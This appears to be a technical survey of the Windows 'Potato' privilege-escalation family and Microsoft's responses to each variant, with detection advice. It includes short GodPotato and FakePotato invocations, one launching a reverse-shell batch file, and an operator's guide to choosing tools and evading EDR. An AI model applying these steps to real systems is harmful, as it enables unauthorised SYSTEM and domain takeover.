If you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM. -- attributed to Andrea Pierini (@decoder_it), quoted by Clément Labro in the PrintSpoofer writeup, May 2020 [@itm4n-printspoofer] sequenceDiagram participant Atk as PrintSpoofer (SeImpersonate holder) participant Pipe as Attacker-owned named pipe participant Spooler as Print Spooler (SYSTEM) Atk->>Pipe: Create named pipe and start accept loop Atk->>Spooler: RpcRemoteFindFirstPrinterChangeNotificationEx with attacker UNC Spooler->>Pipe: Connect to UNC path under SYSTEM context Pipe->>Atk: ImpersonateNamedPipeClient on server thread Atk->>Atk: CreateProcessWithToken spawns SYSTEM shell

This is the moment the architectural reading clicks. The family is not about Distributed COM activation. Closing DCOM would not close the family. The next variant would use Spooler RPC, the one after that would use the Encrypting File System RPC, and the one after that would use Microsoft Distributed Transaction Coordinator RPC. Forshaw's contemporaneous April 2020 tiraniddo.dev post on shared logon sessions makes the same architectural point from a different angle [@forshaw-tiraniddo-2020].

Key idea: The Potato family is about the primitive, not the vehicle. SeImpersonatePrivilege plus ImpersonateNamedPipeClient plus any SYSTEM-context Windows service with a callback-style API equals SYSTEM. Closing one vehicle (Distributed COM activation) leaves every other vehicle (Spooler RPC, EFS RPC, the next service that gets a callback interface) wide open [@itm4n-printspoofer; @forshaw-tiraniddo-2020].

6.4 RemotePotato0 and the "Won't Fix"

In April 2021, Cocomazzi and Pierini pushed the technique across the network in a SentinelLabs post titled "Relaying Potatoes: DCE/RPC NTLM Relay EoP" [@sentinellabs-relaying]. The repository tagline names the outcome bluntly: "Just another 'Won't Fix' Windows Privilege Escalation from User to Domain Admin" [@antonio-remote].

The mechanism is cross-session NTLM relay over Distributed COM and RPC. An unprivileged local user triggers the Distributed COM activation service to make another user logged on the same machine (typically an administrator in an interactive RDP session) authenticate via NTLM. The captured NTLM exchange is then cross-protocol relayed (RPC to LDAP, with a port forwarder bridging the gap) to a domain controller with LDAP signing disabled. The attacker writes their own account into a privileged group or registers resource-based constrained delegation, and the engagement is over [@sentinellabs-relaying].

Microsoft's response is the most quoted sentence in the family's history:

The current status of this vulnerability is 'won't fix' ... Although Microsoft considers the vulnerability an important privilege escalation, it has been classified as 'Won't Fix'. -- SentinelLabs disclosure of RemotePotato0, April 2021 [@sentinellabs-relaying]

Note: RemotePotato0 was a fully working exploit chain that promoted any local low-privilege user to Domain Admin. Microsoft was given the disclosure, replicated the technique, and declined to issue a CVE. This is the moment the architectural reading stops being a researcher narrative and becomes a documented MSRC decision [@sentinellabs-relaying]. Microsoft eventually shipped a partial mitigation in October 2022 that broke the RPC-to-LDAP scenario specifically, but the underlying primitive survives in adjacent variants [@antonio-remote].

6.5 The CVE-2021-26414 Distributed COM hardening rollout

Two months after the RemotePotato0 disclosure, Microsoft began the only DCOM-side hardening it would ship under a CVE. KB5004442 documents a three-phase rollout, quoted verbatim from the article: "The first phase of DCOM updates was released on June 8, 2021. In that update, DCOM hardening was disabled by default. ... The second phase of DCOM updates was released on June 14, 2022. ... The final phase of DCOM updates will be released in March 2023. It will keep the DCOM hardening enabled and remove the ability to disable it" [@ms-kb5004442].

Phase	Date	Behaviour
Phase 1	June 8, 2021	DCOM hardening shipped, disabled by default. Administrators may opt in via registry.
Phase 2	June 14, 2022	Hardening enabled by default. Registry opt-out still available.
Phase 3	March 14, 2023	Hardening enforced with no opt-out. The `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` minimum is mandatory.

The RPC authentication-level constant that requires every packet of an RPC exchange to be signed for integrity (level 5 of 6). CVE-2021-26414 raises the *minimum* DCOM activation authentication level to this constant, rejecting legacy Distributed COM clients that activate at lower levels. The full rejection appears in Windows Event ID 10036 as "The server-side authentication level policy does not allow the user %1\\%2 SID (%3) from address %4 to activate DCOM server. Please raise the activation authentication level at least to RPC_C_AUTHN_LEVEL_PKT_INTEGRITY in client application" [@ms-kb5004442].

The hardening raised the bar for legacy Distributed COM client authentication. It did not declare Distributed COM activation a security boundary [@ms-kb5004442; @ms-techcommunity-dcom]. The "Manage changes" framing in the KB title is deliberate: this is a compatibility migration with telemetry events (10036 server-side, 10037 and 10038 client-side) so enterprises can find legacy clients before the final cut [@ms-kb5004442].

Note: Distributed COM is everywhere in Windows. Removing the ability to activate at a lower authentication level breaks legacy Distributed COM applications that have not been updated since at least 2014. Microsoft's 21-month rollout window between Phase 1 (June 2021) and Phase 3 (March 2023) was a compatibility migration -- the telemetry events let enterprise IT find and fix the legacy clients before the final cut [@ms-kb5004442; @ms-techcommunity-dcom]. The hardening is the most aggressive Distributed COM mitigation Microsoft has ever shipped, and even so it does not declare Distributed COM activation a security boundary.

Researchers had 21 months to find a way around it. They took 18.

6.6 JuicyPotatoNG (Pierini + Cocomazzi, September 21, 2022)

Pierini and Cocomazzi returned on September 21, 2022, with JuicyPotatoNG -- the last pre-Phase-3 Distributed COM activation variant [@decoder-juicyng]. The blog post is titled "Giving JuicyPotato a second chance: JuicyPotatoNG" and walks through three counter-moves combined into a single binary [@decoder-juicyng; @antonio-juicyng].

First, the tool embeds Forshaw's October 2021 local-OXID trick. Forshaw had shown that an OXID resolution request could be answered by a local Distributed COM server on a randomly selected port, dropping the need for an external forwarder [@forshaw-pz-2021]. JuicyPotatoNG ships that trick as a default. Second, it falls back to a tight set of usable class identifiers; the default is {854A20FB-2D44-457D-992F-EF13785D2B51}, the PrintNotify class [@antonio-juicyng]. Third, it calls LogonUser with LOGON32_LOGON_NEW_CREDENTIALS to sidestep the INTERACTIVE-group restriction that constrained earlier post-RoguePotato attempts [@decoder-juicyng].

The cross-pollination is worth marking. Forshaw's October 2021 Project Zero post on relaying Distributed COM authentication described the local-OXID trick as a research result [@forshaw-pz-2021]. Pierini and Cocomazzi picked it up eleven months later and shipped it as the default mode of JuicyPotatoNG [@decoder-juicyng]. SilverPotato (April 2024) and the Compass Security follow-on (September 2024) cite the same trick [@compass-three-headed]. Forshaw's blog has been the unofficial reference implementation for the lineage's offensive primitives for half its lifetime.

JuicyPotatoNG also implements a Security Support Provider Interface (SSPI) hook on AcceptSecurityContext to capture the SYSTEM token without requiring RpcImpersonateClient. The effect is to make the tool work for both SeImpersonate and SeAssignPrimaryToken holders [@decoder-juicyng]. The result is a clean, single-binary, no-external-infrastructure local-DCOM-activation exploit -- which is the version that worked between Phase 2 (June 14, 2022, enabled by default) and Phase 3 (March 14, 2023, enforced with no opt-out) of the CVE-2021-26414 rollout [@ms-kb5004442].

The next variant would need to survive Phase 3.

6.7 GodPotato (BeichenDream, December 23, 2022)

Three months after JuicyPotatoNG, on December 23, 2022, the Chinese-speaking researcher BeichenDream published GodPotato to GitHub [@beichendream-god]. The README is bilingual English and Chinese, and it opens with a precise summary of where the variant fits in the lineage:

Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022 ... There are some defects in rpcss when dealing with oxid, and rpcss is a service that must be opened by the system, so it can run on almost any Windows OS, I named it GodPotato. -- BeichenDream, GodPotato README, December 2022 [@beichendream-god]

The mechanism manipulates the OXID-handling flow inside RPCSS so the activated Distributed COM server's authentication callback returns to a tool-controlled endpoint without requiring the OXID resolver to be redirected. Because the redirect itself is what the CVE-2021-26414 hardening rejects, GodPotato sidesteps the hardening entirely [@beichendream-god]. RPCSS is a mandatory Windows service -- it cannot be disabled without breaking the operating system -- so the technique works on every supported Windows release as of disclosure.

{// On a target host where the calling account holds SeImpersonatePrivilege // (default for every IIS app-pool identity, MSSQL service account, BITS account, etc.) const command = 'GodPotato -cmd "cmd /c whoami"'; console.log("Run:", command); console.log("Expected output: nt authority\\\\system"); console.log("Working OS coverage: Windows 8 through Windows 11; Server 2012 through Server 2025"); console.log("Underlying primitive: RPCSS OXID-handling defect, no external infra, single binary");}

Microsoft has not assigned a CVE to the underlying RPCSS defect [@beichendream-god; @compass-three-headed].Apache 2.0 licensing matters here: red-team operators routinely recompile GodPotato from source to bypass binary-hash signatures, and the permissive license makes redistribution unproblematic [@beichendream-god]. The pattern is consistent with the servicing-criteria reading. GodPotato is in May 2026 the practitioner default on every in-support Windows release: single binary, no external infrastructure, no separate OXID resolver, Apache-2.0-licensed and freely re-buildable when EDR vendors signature the public binary [@beichendream-god].

Key idea: GodPotato survives every Microsoft mitigation because Microsoft has not declared the underlying primitive a security boundary. Three named hardening waves (the 2019-2020 OXID-resolver change, the three-phase CVE-2021-26414 rollout from June 2021 to March 2023, and the per-variant CVE patches in 2023 and 2024) leave GodPotato working on Server 2025 and Windows 11 24H2 as of this writing [@beichendream-god; @ms-kb5004442; @compass-three-headed].

6.8 LocalPotato and CVE-2023-21746

Three weeks after GodPotato landed, Microsoft assigned the first-ever CVE in the local Potato lineage. The variant was LocalPotato, the CVE was CVE-2023-21746, and the patch shipped in the January 2023 Patch Tuesday [@nvd-cve-2023-21746; @msrc-cve-2023-21746]. The Decoder writeup, published February 13, 2023, walks through the timeline:

"We reported our findings to the Microsoft Security Response Center (MSRC) on September 9, 2022, and it was resolved with the release of the January 2023 patch Tuesday and assigned the CVE number CVE-2023-21746." -- Andrea Pierini, "LocalPotato" writeup, February 2023 [@decoder-localpotato]

LocalPotato is not a Distributed COM activation Potato. It attacks the local NTLM authentication protocol itself. During a local NTLM exchange, the Type 2 (Challenge) message carries a "Reserved" field that, in the local-NTLM case, encodes the upper bytes of the local server context handle the client should associate with. By racing two simultaneous local NTLM authentications -- one privileged client to attacker server, one attacker client to a real local server -- and swapping the Reserved fields in the two Type 2 messages, LSASS binds the privileged identity to the attacker's low-privilege context [@decoder-localpotato; @localpotato-com]. The result is an arbitrary file-read and file-write primitive that chains cleanly to SYSTEM.

Note: Pierini and Cocomazzi had been pushing on the architectural carve-out for seven years before they got a CVE. The boundary that made the difference: LocalPotato attacks the local user-to-local-user NTLM authentication context, which is on the servicing-criteria boundary list. The underlying SeImpersonate-to-SYSTEM primitive is not. Microsoft will service the parts of the protocol that are inside the boundary; it will not service the parts that are outside [@decoder-localpotato; @msrc-servicing-criteria].

The LocalPotato writeup credits Elad Shamir for the original hint that started the research [@decoder-localpotato]. The dedicated companion site localpotato.com carries the canonical title "LocalPotato -- When swapping the context leads you to SYSTEM" and links the CVE [@localpotato-com].

6.9 SilverPotato (Pierini + Cocomazzi, April 24, 2024)

A year later, on April 24, 2024, Pierini and Cocomazzi extended the cross-session Distributed COM activation primitive that RemotePotato0 had pioneered into a fully practical domain attack. The blog post title is "Hello, I'm your domain admin and I want to authenticate against you" [@decoder-silverpotato]. The Troopers 24 abstract refers to the technique by its other name, ADCSCoercePotato [@troopers24; @decoder-adcs-coerce-repo]; both names refer to the same primitive.

The mechanism: members of the Distributed COM Users or Performance Log Users built-in groups can remotely trigger an NTLM authentication from any user currently logged on the target server -- including a Domain Administrator on a Domain Controller -- and relay it. The specific vehicle is the sppui Distributed COM application (class identifier F87B28F1-DA9A-4F35-8EC0-800EFCF26B83, "SPPUIObjectInteractive Class", hosted in slui.exe), which runs under the Interactive User identity [@decoder-silverpotato]. Pierini's wording in the post is unsparing:

"Members of Distributed COM Users or Performance Log Users Groups can trigger from remote and relay the authentication of users connected on the target server, including Domain Controllers." -- Andrea Pierini, "SilverPotato" writeup, April 2024 [@decoder-silverpotato]

The captured authentication is relayed via ntlmrelayx to AD CS Web Enrollment or LDAP, then chained with ForgeCert and Rubeus into a full Domain Admin Kerberos TGT [@decoder-silverpotato]. The Compass Security follow-on from September 2024 extends the chain further by modifying the KrbRelay project to make it remote and cross-session capable: "I modified the KrbRelay project to make it remote and cross-session capable, because Andrea did not release his PoC code ... DCOM hardening only allows relay to HTTP or unprotected LDAP" [@compass-three-headed]. Tianze Ding's Black Hat Asia 2024 talk on "CertifiedDCOM" landed in the same window [@blackhat-asia-2024]. Pierini's February 2024 post on the ADCS server side of the same surface foreshadowed the chain a few weeks earlier [@decoder-adcs-server].

flowchart LR A[Member of Distributed COM Users on target DC] --> B[Cross-session DCOM activation against sppui CLSID] B --> C[Logged-on Domain Admin session authenticates via NTLM] C --> D[ntlmrelayx forwards NTLM to AD CS Web Enrollment] D --> E[Computer-template certificate issued] E --> F[ForgeCert and Rubeus mint Domain Admin Kerberos TGT] F --> G[Domain compromise]

Note: The Troopers 24 abstract describes SilverPotato as "still in review by MSRC" as of June 2024 [@troopers24]. The Compass Security follow-on demonstrates a working end-to-end chain four months later [@compass-three-headed]. The default Distributed COM group memberships on Domain Controllers that grant the activation rights SilverPotato weaponises have not changed in any shipping Windows release as of May 2026. No CVE has been assigned [@decoder-silverpotato; @troopers24].

6.10 FakePotato and CVE-2024-38100

Four months after SilverPotato, on August 2, 2024, Pierini published the most recent named variant. He called it FakePotato, and he was up front about the name:

"You might be wondering why I called it the 'Fake' Potato. Initially, I thought it could be exploited using the same techniques as the *Potato families, but it turned out to be different and much simpler in this case." -- Andrea Pierini, "The Fake Potato" writeup, August 2024 [@decoder-fakepotato]

FakePotato abuses the ShellWindows Distributed COM application (AppID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}), hosted in explorer.exe and registered to run under the Interactive User identity. Cross-session activation via BindToMoniker("session:N!new:<CLSID>") invokes ShellExecute in the target session. There is no NTLM relay, no token impersonation, no SeImpersonatePrivilege requirement -- any Authenticated User suffices because explorer.exe in High Integrity Level (UAC-disabled administrator) granted the Authenticated Users group execute permission via the DCOM Access Security ACL [@decoder-fakepotato].

{$obj = [System.Runtime.InteropServices.Marshal]::BindToMoniker("session:2!new:9BA05972-F6A8-11CF-A442-00A0C90A8F39") $p = $obj.item(0).document.application $p.ShellExecute("c:\\temp\\reverse.bat", "", "c:\\windows", $null, 0)}

Microsoft assigned CVE-2024-38100 and shipped the patch in the July 2024 Patch Tuesday cumulative updates on July 9, 2024 (KB5040434 for Windows 10 1607 / Windows Server 2016; equivalent KBs for Windows 11, Server 2019, Server 2022, and Server 2025) -- four weeks before the public disclosure [@decoder-fakepotato; @nvd-cve-2024-38100; @msrc-cve-2024-38100]. The patch corrects the explorer.exe ACL in High Integrity Level contexts so the Authenticated Users permission required for activation is no longer granted. The underlying cross-session Distributed COM activation primitive that SilverPotato and FakePotato share is untouched [@decoder-silverpotato; @decoder-fakepotato].

FakePotato is not, in the relay sense, a Potato at all. It is a misconfiguration of the ShellWindows Distributed COM application's permissions in High Integrity Level contexts [@decoder-fakepotato]. Pierini's "Fake" framing acknowledges the divergence from the NTLM-reflection pattern that defined the family from RottenPotato through GodPotato. The naming choice is itself a small piece of taxonomy: not every member of the family is a token-relay exploit, even if every member exploits the same architectural carve-out.

After nearly a decade of patching specific vehicles and refusing to declare the underlying primitive a boundary, Microsoft's pattern is hard to miss.

7. Eleven Variants at a Glance

Nine years of named-variant disclosures, eleven named variants, one architectural argument. The table below is sourced cell by cell from the preceding sections.

Variant	Date	Authors	Coercion vehicle	Mitigation it bypassed	Microsoft response	Still works in 2026?
HotPotato [@foxglove-hotpotato]	Jan 16, 2016	Stephen Breen	NBNS spoof + WPAD + HTTP-to-SMB relay	MS08-068 same-protocol-only fix	None named; EPA/SMB hardening eventually closed the vehicle	Only on pre-1607 builds
RottenPotato [@foxglove-rottenpotato]	Sep 23, 2016	Stephen Breen + Chris Mallz	DCOM activation via BITS CLSID on 127.0.0.1:6666	(none yet)	None	Only pre-1809 builds
RottenPotatoNG [@breenmachine-rottenng]	Dec 29, 2017	breenmachine	Same as RottenPotato (C++ port; no Metasploit)	(none yet)	None	Only pre-1809 builds
JuicyPotato [@ohpe-juicy]	Jul 27, 2018	Andrea Pierini + Giuseppe Trotta	Generalised DCOM activation; CLSID matrix	(none yet)	OXID-resolver hard-coding in Win10 1809 / Server 2019 [@forshaw-pz-2021]	Only pre-1809 builds
RoguePotato [@antonio-rogue]	May 10, 2020	Antonio Cocomazzi + Andrea Pierini	DCOM activation through remote TCP-135 forwarder	2019-2020 OXID-resolver hardening	None (no CVE)	Only pre-Phase-3 builds
PrintSpoofer [@itm4n-printspoofer]	Early May 2020	Clément Labro	Print Spooler RPC `RpcRemoteFindFirstPrinterChangeNotificationEx`	All DCOM-side hardening (irrelevant)	None (no CVE)	Yes, when Spooler is running
RemotePotato0 [@sentinellabs-relaying]	Apr 2021	Antonio Cocomazzi + Andrea Pierini	Cross-session DCOM/RPC NTLM relay	(defines a new threat surface)	"Won't Fix"; partial Oct 2022 RPC-to-LDAP mitigation	Partially (primitive intact)
JuicyPotatoNG [@antonio-juicyng; @decoder-juicyng]	Sep 21, 2022	Andrea Pierini + Antonio Cocomazzi	Local-OXID trick + LogonUser NewCredentials	CVE-2021-26414 Phase 1 and Phase 2	None (no CVE)	Only pre-Phase-3 builds
GodPotato [@beichendream-god]	Dec 23, 2022	BeichenDream	RPCSS OXID-handling defect (no resolver redirect)	All three CVE-2021-26414 phases	None (no CVE)	Yes -- the 2026 default
LocalPotato / CVE-2023-21746 [@decoder-localpotato; @nvd-cve-2023-21746]	Patched Jan 10, 2023	Andrea Pierini + Antonio Cocomazzi	NTLM Type-2 "Reserved" field context swap	(orthogonal -- attacks LSASS)	CVE-2023-21746 (first local-Potato CVE)	No -- patched
SilverPotato / ADCSCoercePotato [@decoder-silverpotato; @troopers24]	Apr 24, 2024	Andrea Pierini + Antonio Cocomazzi	Cross-session DCOM against `sppui` AppID	Post-RemotePotato0 partial mitigations	Still in review by MSRC as of mid-2026	Yes -- unpatched
FakePotato / CVE-2024-38100 [@decoder-fakepotato; @nvd-cve-2024-38100]	Disclosed Aug 2, 2024	Andrea Pierini	Cross-session DCOM against `ShellWindows` AppID (ACL bug)	(orthogonal)	CVE-2024-38100 in the July 2024 Patch Tuesday (KB5040434 for 1607/Server 2016; per-build KBs elsewhere)	No -- patched

Two CVEs in nine years of named-variant disclosures. One "Won't Fix" decision on a working Domain Admin escalation. Zero declarations of SeImpersonatePrivilege or Distributed COM activation as a security boundary. The pattern is consistent across every column [@troopers24; @msrc-servicing-criteria].

Key idea: Two CVEs in a decade, against a family with eleven named variants. The first CVE was for a piece of the local NTLM protocol that is on the servicing-criteria list, not for the underlying SeImpersonate-to-SYSTEM primitive. The second was for a Distributed COM access-control list misconfiguration, not for cross-session activation as a class. Microsoft will assign CVEs to specific vehicles when forced. It will not declare the architectural primitive a security boundary [@nvd-cve-2023-21746; @nvd-cve-2024-38100; @troopers24].

8. The 2026 Decision Surface

In May 2026, an operator with SeImpersonatePrivilege on a default Windows 11 box has a small menu of working tools, plus three legacy variants that remain useful on unpatched fleets. The current toolkit:

Method	Coercion vehicle	OS coverage	When to use it
GodPotato [@beichendream-god]	RPCSS OXID defect	Win 8 to Win 11; Server 2012 to Server 2025	Default first try on any in-support Windows
SweetPotato [@ccob-sweet]	Selectable: PrintSpoofer (default), DCOM, EfsRpc, WinRM	Win 7+ depending on selected mode	When GodPotato's binary signature is blocked
SharpEfsPotato [@bugch3ck-efs]	EFS RPC (`EfsRpcOpenFileRaw`)	Server 2019+, Win 10/11 with EFS RPC enabled	DCOM locked down and Spooler disabled
PrintSpoofer [@itm4n-printspoofer]	Print Spooler RPC	Any host with Spooler running	The lowest-noise option on Spooler-enabled hosts
JuicyPotatoNG [@antonio-juicyng]	Local-OXID + legacy CLSID	Pre-Phase-3 DCOM hardening only	Corporate fleets with delayed CVE-2021-26414 rollout
RoguePotato [@antonio-rogue]	Remote TCP-135 forwarder	Pre-Phase-3 DCOM hardening	Pre-2022 hardened-OXID-only systems with attacker remote infra
SilverPotato [@decoder-silverpotato]	Cross-session DCOM against DC	Default DCs with `Distributed COM Users` or `Performance Log Users` membership	Domain-tier escalation -- the only currently-unpatched cross-session variant

Plus three legacy variants worth knowing about: JuicyPotato on pre-1809 builds, RottenPotato on Server 2008 R2 / Windows 7 ESU-eligible builds, and HotPotato as the canonical naming origin and the source of the family's "documented Win32 calls" framing [@ohpe-juicy; @foxglove-rotten-repo; @foxglove-hotpotato]. Embedded Windows builds (Windows 10 IoT LTSC 2019, some industrial controllers, ATM images) frequently fall behind the OXID-resolver mitigation and remain JuicyPotato-vulnerable through 2026.

SharpEfsPotato's canonical repository is `github.com/bugch3ck/SharpEfsPotato` [@bugch3ck-efs]. A widely shared `ly4k/SharpEfsPotato` fork exists and is referenced in some red-team writeups, but the upstream is the `bugch3ck` repo per the README's own credit chain ("Built from SweetPotato by @\_EthicalChaos\_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0") [@bugch3ck-efs]. Operators citing the `ly4k` URL are pointing at a fork.

Every one of these tools has a Microsoft mitigation in its history. None of those mitigations closed the family. The next section asks what mitigation could.

9. What Would It Take To Close the Family?

A counterfactual sharpens the question. Suppose Microsoft decided in 2026 that the family must end. Three closure options exist, and each carries a compatibility cost.

Closure option	Mechanism	Compatibility cost
1. Declare `SeImpersonatePrivilege` a security boundary	Revoke the privilege from default service accounts (IIS app pools, SQL Server, BITS, Task Scheduler, the Spooler)	Operationally prohibitive: thousands of third-party services depend on the default grant
2. Declare Distributed COM activation a security boundary	Validate the activator's identity against the activated CLSID's registered identity on every activation	Breaks 25 years of legacy Distributed COM applications written between 1996 and 2021 [@ms-dcom-spec]
3. Deprecate `ImpersonateNamedPipeClient` as a Win32 primitive	Remove the call from `namedpipeapi.h` or gate it behind a Trustlet validation	Breaks parts of CSRSS, the console subsystem, and LSASS itself; no deprecation notice exists in the API reference as of mid-2026 [@ms-impersonate-api]

The CVE-2021-26414 hardening creeps toward option 2 for remote Distributed COM but explicitly does not for local Distributed COM [@ms-kb5004442]. The Adminless direction in Windows 11 24H2 -- Microsoft's "Administrator protection" platform feature, currently a preview shipped first via Windows Insider builds and not yet generally available [@ms-administrator-protection] -- introduces a per-application admin-elevation gate, but operates above the SYSTEM-impersonation primitive, not below it. Credential Guard isolates LSASS secrets in a Virtualization-Based Security Trustlet -- which protects NTLM hashes from extraction but does not gate ImpersonateNamedPipeClient or SeImpersonatePrivilege [@ms-credential-guard]. Smart App Control restricts arbitrary binary execution but does not block in-process exploitation by a SYSTEM-running service [@ms-smart-app-control].

The lower bound on attack cost is therefore O(1) per invocation, and it stays O(1) as long as the servicing-criteria carve-out holds. No combination of currently-shipping mitigations moves it.

Key idea: The Potato family is a fixed point of the current Windows architecture. Every closure option carries a compatibility cost that no currently-announced Microsoft release accepts. Until the MSRC Windows Security Servicing Criteria changes the position on SeImpersonatePrivilege and Distributed COM activation, the family's lower attack cost is O(1) and no servicing patch can move it [@msrc-servicing-criteria; @troopers24].

The claim is empirical, not formal. A "fixed point" in the algorithmic sense is a value where a function returns its own input. For the Potato family the analogue is: every Microsoft mitigation that does not change the servicing-criteria document returns a family that is still alive. The fixed-point status is consistent with eleven variants over nine years of named-variant disclosures (HotPotato January 2016 -> FakePotato August 2024) against three named hardening waves. It would be invalidated by a major-version Windows release that explicitly revoked the default `SeImpersonatePrivilege` grant on service accounts. No such release is on the public roadmap as of May 2026 [@msrc-servicing-criteria].

10. Open Problems

Five questions sit at the research frontier in 2026.

The next coercion vehicle. Each Potato variant is one SYSTEM-context service with a callback-style API. As the family has matured, researchers have mapped a growing surface of candidates: EFS RPC (which SharpEfsPotato already weaponises [@bugch3ck-efs]), Print Spooler async RPC (MS-PAR), Windows Search remote protocol (MS-WSP), and Microsoft Distributed Transaction Coordinator RPC. The community-empirical conjecture, repeated across Troopers 24 [@troopers24] and the Compass Security retrospective [@compass-three-headed], is that any SYSTEM-context Windows service with a callback-style API becomes a Potato vehicle within roughly eighteen months of operational need.

The "eighteen-month vehicle cadence" is an informal community claim, not a measured statistic. It originates in the Troopers 24 retrospective by Pierini and Cocomazzi [@troopers24] and is reinforced by the Compass Security follow-on documenting how the SilverPotato chain was productised within months of Pierini's February 2024 ADCS-server post [@decoder-adcs-server; @compass-three-headed]. The number should be read as a rule of thumb, not a benchmark.

Linux and Windows Subsystem for Linux extension. No Linux analogue of SeImpersonatePrivilege exists. There are partial precedents in the impacket cross-protocol relay work, but no Potato-class primitive that produces a SYSTEM token on a Linux host. Open.

Will defence-in-depth combine to close the family without ever declaring a new boundary? Microsoft has shipped Credential Guard [@ms-credential-guard], Hypervisor-Protected Code Integrity [@ms-hvci], Smart App Control [@ms-smart-app-control], and the experimental Administrator-protection direction in Windows 11 24H2 [@ms-administrator-protection]. Each changes the runtime trust model in some way. No combination of currently-shipping technologies closes the family as of May 2026 -- the Potato primitives live below the layer those technologies operate on [@troopers24; @compass-three-headed].

A defensive detection primitive that catches every variant. The unifying invariant is ImpersonateNamedPipeClient being called from a thread that holds SeImpersonatePrivilege against a named pipe that has just received a SYSTEM-context authentication originating from a service the calling process did not initiate. Per-variant detection rules exist for each named tool (GodPotato, PrintSpoofer, JuicyPotato). A generalising rule has not been published [@ms-impersonate-api]. The informal community position is that the family is non-detectable as a class because the primitive is in the legitimate hot path of nearly every Windows service.

MSRC servicing-criteria position on cross-session Distributed COM activation. LocalPotato (CVE-2023-21746) received a CVE for a piece of the local NTLM protocol [@nvd-cve-2023-21746]. FakePotato (CVE-2024-38100) received a CVE for an access-control list misconfiguration on the ShellWindows AppID [@nvd-cve-2024-38100]. SilverPotato is still unpatched [@decoder-silverpotato; @troopers24]. The boundary that distinguishes these three is unclear: why was the ShellWindows cross-session activation patched while the sppui cross-session activation has not been? The answer determines the next decade of the family. The defensible reading is that Microsoft will service variants that look like permission misconfigurations on a single AppID but not the underlying cross-session Distributed COM activation primitive itself.

11. How to Use a Potato in 2026

The practitioner question is operational. Given a foothold and a goal, which Potato variant does the job? The decision tree below walks through the path researchers settle into on red-team engagements.

The first-try heuristic is short. GodPotato first, because it is the single binary that works on every in-support Windows release [@beichendream-god]. If the GodPotato binary signature is blocked by Endpoint Detection and Response, SweetPotato with -e PrintSpoofer (or -e EfsRpc on a Domain Controller where Spooler is off) [@ccob-sweet]. If both are blocked, SharpEfsPotato as the lower-public-exposure third choice [@bugch3ck-efs]. For pre-2023 unpatched fleets, JuicyPotatoNG during the Phase-2 hardening window and JuicyPotato on pre-1809 builds [@antonio-juicyng; @ohpe-juicy]. For domain escalation against a DC, SilverPotato with the Compass Security KrbRelay modifications [@decoder-silverpotato; @compass-three-headed].

Note: GodPotato. If signature-blocked, SweetPotato with -e PrintSpoofer. If both blocked, SharpEfsPotato. The rest of the family is for situations the first three do not cover (legacy fleets, DC escalation, technique illustration of patched variants) [@beichendream-god; @ccob-sweet; @bugch3ck-efs].

Several implementation pitfalls catch new operators. The named-pipe path that GodPotato uses (\pipe\<token>\pipe\epmapper) is widely signatured by EDR vendors -- see the detection-engineering Spoiler below for the specific Sigma and Elastic rules [@sigma-potato-hktl; @elastic-rogue-pipe] -- and recompiling from source with a different pipe template is the standard countermeasure. A token holding SeImpersonatePrivilege does not necessarily enable it -- explicit AdjustTokenPrivileges with SE_PRIVILEGE_ENABLED is required, and custom adaptations frequently miss the step [@ms-adjusttokenprivileges]. SweetPotato's default -e PrintSpoofer mode fails silently on a Domain Controller where Spooler is disabled per the PrintNightmare aftermath; the correct DC default is GodPotato or SharpEfsPotato. RoguePotato's outbound TCP 135 to attacker infrastructure is blocked by default in most enterprise networks. FakePotato and SilverPotato both require the victim identity to be actively logged in, since both depend on a live cross-session activation surface [@itm4n-printspoofer; @antonio-rogue; @decoder-silverpotato; @decoder-fakepotato].

If you defend Windows rather than attack it, the detection target is the conjunction of (a) named-pipe creation by an IIS or SQL or service account, (b) a SYSTEM-context process connecting to that pipe shortly after, and (c) `CreateProcessWithToken` from the original service-account process. None of the three events alone is anomalous. The conjunction is. Sysmon Event ID 1 (Process Create) paired with Event IDs 17 and 18 (PipeEvent: Pipe Created and Pipe Connected) plus ETW providers `Microsoft-Windows-COM` and `Microsoft-Windows-RPC` cover the activation-plus-pipe half [@ms-sysmon]; Sysmon Event ID 10 (ProcessAccess) on `lsass.exe` from the originating service account is the third pillar that surfaces the impersonation handle acquisition [@ms-sysmon]. Per-variant signatures are published as Sigma rules for the public LocalPotato, CoercedPotato, JuicyPotato, RottenPotato, and EfsPotato binaries [@sigma-potato-hktl; @sigma-localpotato], and Elastic's `privilege_escalation_via_rogue_named_pipe` rule fires on the PrintSpoofer / EfsPotato pipe-path pattern that GodPotato shares [@elastic-rogue-pipe]. A class-generalising rule that fires on the *primitive* (rather than per-binary) has not been published.

Library and framework support follows the same shape as any post-exploitation primitive (the picture here is community-empirical, drawn from public BOF and module repositories rather than vendor reference architectures). Cobalt Strike Beacon Object Files wrapping GodPotato, PrintSpoofer, and SweetPotato are widely shared in the red-team community -- incursi0n/GodPotatoBOF is one publicly published example that integrates with BeaconUseToken() for in-Beacon SYSTEM-token application [@godpotato-bof] -- and the same wrappers load into Sliver. PowerShell wrappers around PrintSpoofer and JuicyPotato are integrated into Empire and Starkiller. The Metasploit incognito post-exploitation module handles token impersonation as a primitive but does not wrap GodPotato directly [@msf-incognito]. The impacket toolkit's ntlmrelayx is the canonical relay engine for the tail of SilverPotato [@fortra-impacket], and OleViewDotNet -- Forshaw's tool -- is the discovery oracle that surfaced the sppui and ShellWindows AppIDs in the first place [@tyranid-oleview; @decoder-silverpotato; @decoder-fakepotato].

12. Frequently Asked Questions

